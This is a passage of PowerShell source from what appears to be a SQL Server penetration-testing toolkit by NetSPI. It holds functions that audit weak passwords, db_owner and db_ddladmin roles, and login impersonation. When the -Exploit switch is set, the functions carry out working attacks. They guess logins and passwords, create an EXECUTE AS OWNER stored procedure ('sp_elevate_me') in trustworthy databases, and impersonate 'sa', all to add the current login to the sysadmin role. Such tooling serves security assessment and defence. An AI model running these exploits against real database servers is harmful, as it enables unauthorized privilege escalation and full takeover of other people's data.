            ForEach-Object -Process {
                $TargetPassword = $_
                
                $TestPass = Get-SQLConnectionTest -Instance $Instance -Username $TargetLogin -Password $TargetPassword -SuppressVerbose |
                Where-Object -FilterScript {
                    $_.Status -eq 'Accessible'
                }
                if($TestPass)
                {
                    # Check if guess credential is a sysadmin
                    $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $TargetLogin -Password $TargetPassword -SuppressVerbose |
                    Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin               
                    if($IsSysadmin -eq 'Yes')
                    {
                        $SysadminStatus = 'Sysadmin'
                    }
                    else
                    {
                        $SysadminStatus = 'Not Sysadmin'
                    }

                    Write-Verbose -Message "$Instance - Successful Login: User = $TargetLogin ($SysadminStatus) Password = $TargetPassword"                     

                    if($Exploit)
                    {
                        Write-Verbose -Message "$Instance - Trying to make you a sysadmin..."
                        
                        # Check if the current login is a sysadmin
                        $IsSysadmin1 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose |
                        Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin               
                        if($IsSysadmin1 -eq 'Yes')
                        {
                            Write-Verbose -Message "$Instance - You're already a sysadmin. Nothing to do."
                        }
                        else
                        {
                            Write-Verbose -Message "$Instance - You're not currently a sysadmin. Let's change that..." 
                            
                            # Add current user as sysadmin if login was successful
                            Get-SQLQuery -Instance $Instance -Username $TargetLogin -Password $TargetPassword -Credential $Credential -Query "EXEC sp_addsrvrolemember '$CurrentLogin','sysadmin'" -SuppressVerbose

                            # Check if the current login is a sysadmin again
                            $IsSysadmin2 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose |
                            Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin               
                            if($IsSysadmin2 -eq 'Yes')
                            {
                                $Exploited = 'Yes'
                                Write-Verbose -Message "$Instance - SUCCESS! You're a sysadmin now." 
                            }
                            else
                            {
                                $Exploited = 'No'
                                Write-Verbose -Message "$Instance - Fail. We coudn't add you as a sysadmin."                             
                            }                                                
                        }                                                                         
                    }

                    # Add record
                    $Details = "The $TargetLogin ($SysadminStatus) is configured with the password $TargetPassword."
                    $IsVulnerable = 'Yes'
                    $IsExploitable = 'Yes'
                    $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author)                                                                                     
                }
                else
                {
                    Write-Verbose -Message "$Instance - Failed Login: User = $TargetLogin Password = $TargetPassword"
                }
            }
        }

        # Test user as pass
        if(-not $NoUserAsPass)
        {
            $LoginList |
            Select-Object -Unique | 
            ForEach-Object -Process {
                $TargetLogin = $_               
                $TestPass = Get-SQLConnectionTest -Instance $Instance -Username $TargetLogin -Password $TargetLogin -SuppressVerbose |
                Where-Object -FilterScript {
                    $_.Status -eq 'Accessible'
                }
                if($TestPass)
                {
                    # Check if user/name combo has sysadmin
                    $IsSysadmin3 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $TargetLogin -Password $TargetLogin -SuppressVerbose |
                    Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin               
                    if($IsSysadmin3 -eq 'Yes')
                    {
                        $SysadminStatus = 'Sysadmin'
                    }
                    else
                    {
                        $SysadminStatus = 'Not Sysadmin'
                    }

                    Write-Verbose -Message "$Instance - Successful Login: User = $TargetLogin ($SysadminStatus) Password = $TargetLogin"

                    if(($Exploit) -and $IsSysadmin3 -eq 'Yes')
                    {
                        # Check if the current login is a sysadmin
                        $IsSysadmin4 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose |
                        Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin               
                        if($IsSysadmin4 -eq 'Yes')
                        {
                            Write-Verbose -Message "$Instance - You're already a sysadmin. Nothing to do."
                        }
                        else
                        {
                            Write-Verbose -Message "$Instance - You're not currently a sysadmin. Let's change that..." 
                            
                            # Add current user as sysadmin if login was successful
                            Get-SQLQuery -Instance $Instance -Username $TargetLogin -Password $TargetLogin -Credential $Credential -Query "EXEC sp_addsrvrolemember '$CurrentLogin','sysadmin'" -SuppressVerbose

                            # Check if the current login is a sysadmin again
                            $IsSysadmin5 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose |
                            Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin               
                            if($IsSysadmin5 -eq 'Yes')
                            {
                                $Exploited = 'Yes'
                                Write-Verbose -Message "$Instance - SUCCESS! You're a sysadmin now." 
                            }
                            else
                            {
                                $Exploited = 'No'
                                Write-Verbose -Message "$Instance - Fail. We coudn't add you as a sysadmin."                             
                            }                                                                        
                        }                                                                        
                    }

                    # Add record
                    $Details = "The $TargetLogin ($SysadminStatus) principal is configured with the password $TargetLogin."
                    $IsVulnerable = 'Yes'
                    $IsExploitable = 'Yes'
                    $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author)                                                                                     
                }
                else
                {
                    Write-Verbose -Message "$Instance - Failed Login: User = $TargetLogin Password = $TargetLogin"
                }
            }
        }


        # -----------------------------------------------------------------
        # Check for exploit dependancies
        # Note: Typically secondary configs required for dba/os execution
        # -----------------------------------------------------------------
        # $IsExploitable = "No" or $IsExploitable = "Yes"
        # Check if the link is alive and verify connection + check if sysadmin


        # -----------------------------------------------------------------
        # Exploit Vulnerability
        # Note: Add the current user to sysadmin fixed server role
        # -----------------------------------------------------------------
        # $Exploited = "No" or $Exploited = "Yes" - check if login is a sysadmin
                   
        # Status User
        Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Weak Login Password" 
    }

    End
    {   
        # Return data
        if ( -not $NoOutput)
        {
            Return $TblData | Sort-Object -Property computername, instance, details
        }
    }
}


# ---------------------------------------
# Invoke-SQLAuditRoleDbOwner
# ---------------------------------------
# Author: Scott Sutherland
Function Invoke-SQLAuditRoleDbOwner 
{
    <#
            .SYNOPSIS
            Check if the current login has the db_owner role in any databases.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER Exploit
            Exploit vulnerable issues.
            .EXAMPLE
            PS C:\> Invoke-SQLAuditRoleDbOwner -Instance SQLServer1\STANDARDDEV2014 -Username myuser -Password mypassword
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            Vulnerability : DATABASE ROLE - DB_OWNER
            Description : The login has the DB_OWER role in one or more databases. This may allow the login to escalate privileges to sysadmin if the affected databases are trusted and
            owned by a sysadmin.
            Remediation : If the permission is not required remove it. Permissions are granted with a command like: EXEC sp_addrolemember 'DB_OWNER', 'MyDbUser', and can be removed with
            a command like: EXEC sp_droprolemember 'DB_OWNER', 'MyDbUser'
            Severity : Medium
            IsVulnerable : Yes
            IsExploitable : Yes
            Exploited : No
            ExploitCmd : Invoke-SQLAuditRoleDbOwner -Instance SQLServer1\STANDARDDEV2014 -Username myuser -Password mypassword -Exploit
            Details : myuser has the DB_OWNER role in the testdb database.
            Reference : https://msdn.microsoft.com/en-us/library/ms189121.aspx,https://msdn.microsoft.com/en-us/library/ms187861.aspx
            Author : Scott Sutherland (@_nullbind), NetSPI 2016
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Invoke-SQLAuditRoleDbOwner -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,       

        [Parameter(Mandatory = $false,
        HelpMessage = "Don't output anything.")]
        [string]$NoOutput,
        
        [Parameter(Mandatory = $false,
        HelpMessage = 'Exploit vulnerable issues.')]
        [switch]$Exploit
    )

    Begin
    {                 
        # Table for output
        $TblData = New-Object -TypeName System.Data.DataTable 
        $null = $TblData.Columns.Add('ComputerName')
        $null = $TblData.Columns.Add('Instance')
        $null = $TblData.Columns.Add('Vulnerability')
        $null = $TblData.Columns.Add('Description')
        $null = $TblData.Columns.Add('Remediation')
        $null = $TblData.Columns.Add('Severity')
        $null = $TblData.Columns.Add('IsVulnerable')
        $null = $TblData.Columns.Add('IsExploitable')
        $null = $TblData.Columns.Add('Exploited')
        $null = $TblData.Columns.Add('ExploitCmd')
        $null = $TblData.Columns.Add('Details')    
        $null = $TblData.Columns.Add('Reference')   
        $null = $TblData.Columns.Add('Author')   
    }

    Process
    {   
        # Status User
        Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: DATABASE ROLE - DB_OWNER" 

        # Test connection to server
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if(-not $TestConnection)
        {
            # Status user
            Write-Verbose -Message "$Instance : CONNECTION FAILED"
            Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: DATABASE ROLE - DB_OWNER"           
            Return
        }
        else
        {
            Write-Verbose -Message "$Instance : CONNECTION SUCCESS"
        }

        # Grab server, login, and role information
        $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose 
        $ComputerName = $ServerInfo.ComputerName                
        $CurrentLogin = $ServerInfo.CurrentLogin        
        $CurrentLoginRoles = Get-SQLServerRoleMember -Instance $Instance -Username $Username -Password $Password -Credential $Credential -PrincipalName $CurrentLogin  -SuppressVerbose              
        $CurrentPrincpalList = @()
        $CurrentPrincpalList += $CurrentLogin       
        $CurrentPrincpalList += 'Public'
        $CurrentLoginRoles | ForEach-Object -Process {
            $CurrentPrincpalList += $_.RolePrincipalName
        }        
        
        # --------------------------------------------
        # Set function meta data for report output
        # --------------------------------------------
        if($Exploit)
        {
            $TestMode  = 'Exploit'
        }
        else
        {
            $TestMode  = 'Audit'
        }       
        $Vulnerability = 'DATABASE ROLE - DB_OWNER'
        $Description   = 'The login has the DB_OWER role in one or more databases. This may allow the login to escalate privileges to sysadmin if the affected databases are trusted and owned by a sysadmin.'
        $Remediation   = "If the permission is not required remove it. Permissions are granted with a command like: EXEC sp_addrolemember 'DB_OWNER', 'MyDbUser', and can be removed with a command like: EXEC sp_droprolemember 'DB_OWNER', 'MyDbUser'"
        $Severity      = 'Medium' 
        $IsVulnerable  = 'No'
        $IsExploitable = 'No' 
        $Exploited     = 'No'
        if($Username)
        {
            $ExploitCmd    = "Invoke-SQLAuditRoleDbOwner -Instance $Instance -Username $Username -Password $Password -Exploit"
        }
        else
        {
            $ExploitCmd    = "Invoke-SQLAuditRoleDbOwner -Instance $Instance -Exploit"
        }
        $Details       = ''   
        $Dependancies = 'Affected databases must be owned by a sysadmin and be trusted.'
        $Reference     = 'https://msdn.microsoft.com/en-us/library/ms189121.aspx,https://msdn.microsoft.com/en-us/library/ms187861.aspx'       
        $Author        = 'Scott Sutherland (@_nullbind), NetSPI 2016' 
        
        # -----------------------------------------------------------------
        # Check for the Vulnerability
        # Note: Typically a missing patch or weak configuration
        # -----------------------------------------------------------------

        # Iterate through each current login and their associated roles
        $CurrentPrincpalList|
        ForEach-Object -Process {
            # Check if login or role has the DB_OWNER roles in any databases
            $DBOWNER = Get-SQLDatabaseRoleMember -Instance $Instance -Username $Username -Password $Password -Credential $Credential -RolePrincipalName DB_OWNER -PrincipalName $_ -SuppressVerbose

            # -----------------------------------------------------------------
            # Check for exploit dependancies
            # Note: Typically secondary configs required for dba/os execution
            # -----------------------------------------------------------------
            
            # Check for db ownerships
            if($DBOWNER)
            {
                # Add an entry for each database where the user has the db_owner role
                $DBOWNER|
                ForEach-Object -Process {
                    $DatabaseTarget = $_.DatabaseName
                    $PrincipalTarget = $_.PrincipalName

                    Write-Verbose -Message "$Instance : - $PrincipalTarget has the DB_OWNER role in the $DatabaseTarget database."
                    $IsVulnerable = 'Yes'

                    # Check if associated database is trusted and the owner is a sysadmin
                    $Depends = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseTarget -SuppressVerbose | Where-Object -FilterScript {
                        $_.is_trustworthy_on -eq 1 -and $_.OwnerIsSysadmin -eq 1
                    } 

                    if($Depends)
                    {
                        $IsExploitable = 'Yes'
                        Write-Verbose -Message "$Instance : - The $DatabaseTarget database is set as trustworthy and is owned by a sysadmin. This is exploitable."
                        
                        # -----------------------------------------------------------------
                        # Exploit Vulnerability
                        # Note: Add the current user to sysadmin fixed server role
                        # -----------------------------------------------------------------
                        if($Exploit)
                        {
                            # Check if user is already a sysadmin
                            $SysadminPreCheck = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "SELECT IS_SRVROLEMEMBER('sysadmin','$CurrentLogin') as Status" -SuppressVerbose | Select-Object -Property Status -ExpandProperty Status                                            
                            if($SysadminPreCheck -eq 0)
                            {
                                # Status user
                                Write-Verbose -Message "$Instance : - EXPLOITING: Verified that the current user ($CurrentLogin) is NOT a sysadmin."
                                Write-Verbose -Message "$Instance : - EXPLOITING: Attempting to add the current user ($CurrentLogin) to the sysadmin role by using DB_OWNER permissions..."                            

                                $SpQuery = "CREATE PROCEDURE sp_elevate_me
                                    WITH EXECUTE AS OWNER
                                    AS
                                    begin
                                    EXEC sp_addsrvrolemember '$CurrentLogin','sysadmin'
                                end;"
                                                        
                                # Add sp_elevate_me stored procedure
                                Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "$SpQuery" -SuppressVerbose -Database $DatabaseTarget | Out-Null                                              

                                # Run sp_elevate_me stored procedure
                                $null = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query 'sp_elevate_me' -SuppressVerbose -Database $DatabaseTarget                                              

                                # Remove sp_elevate_me stored procedure
                                $null = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query 'DROP PROC sp_elevate_me' -SuppressVerbose -Database $DatabaseTarget                                              

                                # Verify the login was added successfully
                                $SysadminPostCheck = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "SELECT IS_SRVROLEMEMBER('sysadmin','$CurrentLogin') as Status" -SuppressVerbose | Select-Object -Property Status -ExpandProperty Status               
                                if($SysadminPostCheck -eq 1)
                                {
                                    Write-Verbose -Message "$Instance : - EXPLOITING: It was possible to make the current user ($CurrentLogin) a sysadmin!"
                                    $Exploited = 'Yes'
                                }
                                else
                                {

                                }                                                      
                            }
                            else
                            {
                                Write-Verbose -Message "$Instance : - EXPLOITING: It was not possible to make the current user ($CurrentLogin) a sysadmin."
                            }
                           
                            #Add record
                            $Details = "$PrincipalTarget has the DB_OWNER role in the $DatabaseTarget database."
                            $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author)                                                                   
                        }
                        else
                        {
                            #Add record
                            $Details = "$PrincipalTarget has the DB_OWNER role in the $DatabaseTarget database."                            
                            $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author)                                                                   
                        }                    
                    }
                    else
                    {
                        #Add record
                        Write-Verbose -Message "$Instance : - The $DatabaseTarget is not exploitable."
                        $Details = "$PrincipalTarget has the DB_OWNER role in the $DatabaseTarget database, but this was not exploitable."
                        $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author)                                                                   
                    }
                }
            }                                                                                     
        }                                  
                                                    
        # Status User
        Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: DATABASE ROLE - DB_OWNER" 
    }

    End
    {   
        # Return data
        if ( -not $NoOutput)
        {
            Return $TblData
        }
    }
}


# ---------------------------------------
# Invoke-SQLAuditRoleDbDdlAdmin
# ---------------------------------------
# Author: Scott Sutherland
Function Invoke-SQLAuditRoleDbDdlAdmin 
{
    <#
            .SYNOPSIS
            Check if the current user has the db_ddladmin role in any databases.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER Exploit
            Exploit vulnerable issues.
            .EXAMPLE
            PS C:\> Invoke-SQLAuditRoleDbDdlAdmin -Instance SQLServer1\STANDARDDEV2014 -username myuser -password mypassword
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            Vulnerability : DATABASE ROLE - DB_DDLADMIN
            Description : The login has the DB_DDLADMIN role in one or more databases. This may allow the login to escalate privileges to sysadmin if the affected databases are trusted
            and owned by a sysadmin, or if a custom assembly can be loaded.
            Remediation : If the permission is not required remove it. Permissions are granted with a command like: EXEC sp_addrolemember 'DB_DDLADMIN', 'MyDbUser', and can be removed
            with a command like: EXEC sp_droprolemember 'DB_DDLADMIN', 'MyDbUser'
            Severity : Medium
            IsVulnerable : Yes
            IsExploitable : No
            Exploited : No
            ExploitCmd : No exploit command is available at this time, but a custom assesmbly could be used.
            Details : myuser has the DB_DDLADMIN role in the testdb database.
            Reference : https://technet.microsoft.com/en-us/library/ms189612(v=sql.105).aspx
            Author : Scott Sutherland (@_nullbind), NetSPI 2016
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Invoke-SQLAuditRoleDbDdlAdmin -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,       

        [Parameter(Mandatory = $false,
        HelpMessage = "Don't output anything.")]
        [string]$NoOutput,
        
        [Parameter(Mandatory = $false,
        HelpMessage = 'Exploit vulnerable issues.')]
        [switch]$Exploit
    )

    Begin
    {                 
        # Table for output
        $TblData = New-Object -TypeName System.Data.DataTable 
        $null = $TblData.Columns.Add('ComputerName')
        $null = $TblData.Columns.Add('Instance')
        $null = $TblData.Columns.Add('Vulnerability')
        $null = $TblData.Columns.Add('Description')
        $null = $TblData.Columns.Add('Remediation')
        $null = $TblData.Columns.Add('Severity')
        $null = $TblData.Columns.Add('IsVulnerable')
        $null = $TblData.Columns.Add('IsExploitable')
        $null = $TblData.Columns.Add('Exploited')
        $null = $TblData.Columns.Add('ExploitCmd')
        $null = $TblData.Columns.Add('Details')    
        $null = $TblData.Columns.Add('Reference')   
        $null = $TblData.Columns.Add('Author')   
    }

    Process
    {   
        # Status User
        Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: DATABASE ROLE - DB_DDLAMDIN" 

        # Test connection to server
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if(-not $TestConnection)
        {
            # Status user
            Write-Verbose -Message "$Instance : CONNECTION FAILED"
            Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: DATABASE ROLE - DB_DDLADMIN"           
            Return
        }
        else
        {
            Write-Verbose -Message "$Instance : CONNECTION SUCCESS"
        }

        # Grab server, login, and role information
        $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose 
        $ComputerName = $ServerInfo.ComputerName                
        $CurrentLogin = $ServerInfo.CurrentLogin        
        $CurrentLoginRoles = Get-SQLServerRoleMember -Instance $Instance -Username $Username -Password $Password -Credential $Credential -PrincipalName $CurrentLogin  -SuppressVerbose              
        $CurrentPrincpalList = @()
        $CurrentPrincpalList += $CurrentLogin       
        $CurrentPrincpalList += 'Public'
        $CurrentLoginRoles | ForEach-Object -Process {
            $CurrentPrincpalList += $_.RolePrincipalName
        }        
        
        # --------------------------------------------
        # Set function meta data for report output
        # --------------------------------------------
        if($Exploit)
        {
            $TestMode  = 'Exploit'
        }
        else
        {
            $TestMode  = 'Audit'
        }       
        $Vulnerability = 'DATABASE ROLE - DB_DDLADMIN'
        $Description   = 'The login has the DB_DDLADMIN role in one or more databases. This may allow the login to escalate privileges to sysadmin if the affected databases are trusted and owned by a sysadmin, or if a custom assembly can be loaded.'
        $Remediation   = "If the permission is not required remove it. Permissions are granted with a command like: EXEC sp_addrolemember 'DB_DDLADMIN', 'MyDbUser', and can be removed with a command like: EXEC sp_droprolemember 'DB_DDLADMIN', 'MyDbUser'"
        $Severity      = 'Medium' 
        $IsVulnerable  = 'No'
        $IsExploitable = 'No' 
        $Exploited     = 'No'
        $ExploitCmd    = 'No exploit command is available at this time, but a custom assesmbly could be used.'
        $Details       = ''   
        $Dependancies  = 'Affected databases must be owned by a sysadmin and be trusted. Or it must be possible to load a custom assembly configured for external access.'
        $Reference     = 'https://technet.microsoft.com/en-us/library/ms189612(v=sql.105).aspx'       
        $Author        = 'Scott Sutherland (@_nullbind), NetSPI 2016' 
        
        # -----------------------------------------------------------------
        # Check for the Vulnerability
        # Note: Typically a missing patch or weak configuration
        # -----------------------------------------------------------------

        # Iterate through each current login and their associated roles
        $CurrentPrincpalList|
        ForEach-Object -Process {
            # Check if login or role has the DB_DDLADMIN roles in any databases
            $DBDDLADMIN = Get-SQLDatabaseRoleMember -Instance $Instance -Username $Username -Password $Password -Credential $Credential -RolePrincipalName DB_DDLADMIN -PrincipalName $_ -SuppressVerbose

            # -----------------------------------------------------------------
            # Check for exploit dependancies
            # Note: Typically secondary configs required for dba/os execution
            # -----------------------------------------------------------------
            
            # Check for db ownerships
            if($DBDDLADMIN)
            {
                # Add an entry for each database where the user has the DB_DDLADMIN role
                $DBDDLADMIN|
                ForEach-Object -Process {
                    $DatabaseTarget = $_.DatabaseName
                    $PrincipalTarget = $_.PrincipalName

                    Write-Verbose -Message "$Instance : - $PrincipalTarget has the DB_DDLADMIN role in the $DatabaseTarget database."
                    $IsVulnerable = 'Yes'

                    # Check if associated database is trusted and the owner is a sysadmin
                    $Depends = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseTarget -SuppressVerbose | Where-Object -FilterScript {
                        $_.is_trustworthy_on -eq 1 -and $_.OwnerIsSysadmin -eq 1
                    } 

                    if($Depends)
                    {
                        $IsExploitable = 'No'
                        Write-Verbose -Message "$Instance : - The $DatabaseTarget database is set as trustworthy and is owned by a sysadmin. This is exploitable."
                        
                        # -----------------------------------------------------------------
                        # Exploit Vulnerability
                        # Note: Add the current user to sysadmin fixed server role
                        # -----------------------------------------------------------------
                        if($Exploit)
                        {
                            # Check if user is already a sysadmin
                            $SysadminPreCheck = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "SELECT IS_SRVROLEMEMBER('sysadmin','$CurrentLogin') as Status" -SuppressVerbose | Select-Object -Property Status -ExpandProperty Status                                            
                            if($SysadminPreCheck -eq 0)
                            {
                                # Status user
                                Write-Verbose -Message "$Instance : - EXPLOITING: Verified that the current user ($CurrentLogin) is NOT a sysadmin."
                                Write-Verbose -Message "$Instance : - EXPLOITING: Attempting to add the current user ($CurrentLogin) to the sysadmin role by using DB_OWNER permissions..."                            
                                                        
                                # Attempt to add the current login to sysadmins fixed server role
                                Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember '$CurrentLogin','sysadmin';Revert" -SuppressVerbose | Out-Null                                              

                                # Verify the login was added successfully
                                $SysadminPostCheck = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "SELECT IS_SRVROLEMEMBER('sysadmin','$CurrentLogin') as Status" -SuppressVerbose | Select-Object -Property Status -ExpandProperty Status               
                                if($SysadminPostCheck -eq 1)
                                {
                                    Write-Verbose -Message "$Instance : - EXPLOITING: It was possible to make the current user ($CurrentLogin) a sysadmin!"
                                    $Exploited = 'Yes'
                                }
                                else
                                {

                                }                                                      
                            }
                            else
                            {
                                Write-Verbose -Message "$Instance : - EXPLOITING: It was not possible to make the current user ($CurrentLogin) a sysadmin."
                            }
                           
                            #Add record
                            $Details = "$PrincipalTarget has the DB_DDLADMIN role in the $DatabaseTarget database."
                            $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) | Out-Null                                                                   
                        }
                        else
                        {
                            #Add record
                            $Details = "$PrincipalTarget has the DB_DDLADMIN role in the $DatabaseTarget database."                            
                            $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) | Out-Null                                                                   
                        }                    
                    }
                    else
                    {
                        #Add record
                        Write-Verbose -Message "$Instance : - The $DatabaseTarget is not exploitable."
                        $Details = "$PrincipalTarget has the DB_DDLADMIN role in the $DatabaseTarget database, but this was not exploitable."
                        $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) | Out-Null                                                                   
                    }
                }
            }                                                                                     
        }                                  
                                                    
        # Status User
        Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: DATABASE ROLE - DB_DDLADMIN" 
    }

    End
    {   
        # Return data
        if ( -not $NoOutput)
        {
            Return $TblData
        }
    }
}


# -----------------------------------
# Invoke-SQLAuditPrivImpersonateLogin
# -----------------------------------
# Author: Scott Sutherland
Function Invoke-SQLAuditPrivImpersonateLogin 
{
    <#
            .SYNOPSIS
            Check if the current login has the IMPERSONATE permission on any sysadmin logins. Attempt to use permission to obtain sysadmin privileges.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER NoOutput
            Don't output anything.
            .PARAMETER Exploit
            Exploit vulnerable issues
            .EXAMPLE
            PS C:\> Invoke-SQLAuditPrivImpersonateLogin -Instance SQLServer1\STANDARDDEV2014 -Username evil -Password Password123!
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            Vulnerability : PERMISSION - IMPERSONATE LOGIN
            Description : The current SQL Server login can impersonate other logins. This may allow an authenticated login to gain additional privileges.
            Remediation : Consider using an alterative to impersonation such as signed stored procedures. Impersonation is enabled using a command like: GRANT IMPERSONATE ON
            Login::sa to [user]. It can be removed using a command like: REVOKE IMPERSONATE ON Login::sa to [user]
            Severity : High
            IsVulnerable : Yes
            IsExploitable : Yes
            Exploited : No
            ExploitCmd : Invoke-SQLAuditPrivImpersonateLogin -Instance SQLServer1\STANDARDDEV2014 -Exploit
            Details : public can impersonate the sa SYSADMIN login. This test was ran with the evil login.
            Reference : https://msdn.microsoft.com/en-us/library/ms181362.aspx
            Author : Scott Sutherland (@_nullbind), NetSPI 2016
            .EXAMPLE
            PS C:\> Invoke-SQLAuditPrivImpersonateLogin -Instance SQLServer1\STANDARDDEV2014 -Username evil -Password Password123! -Exploit
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            Vulnerability : PERMISSION - IMPERSONATE LOGIN
            Description : The current SQL Server login can impersonate other logins. This may allow an authenticated login to gain additional privileges.
            Remediation : Consider using an alterative to impersonation such as signed stored procedures. Impersonation is enabled using a command like: GRANT IMPERSONATE ON
            Login::sa to [user]. It can be removed using a command like: REVOKE IMPERSONATE ON Login::sa to [user]
            Severity : High
            IsVulnerable : Yes
            IsExploitable : Yes
            Exploited : Yes
            ExploitCmd : Invoke-SQLAuditPrivImpersonateLogin -Instance SQLServer1\STANDARDDEV2014 -Exploit
            Details : public can impersonate the sa SYSADMIN login. This test was ran with the evil login.
            Reference : https://msdn.microsoft.com/en-us/library/ms181362.aspx
            Author : Scott Sutherland (@_nullbind), NetSPI 2016
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
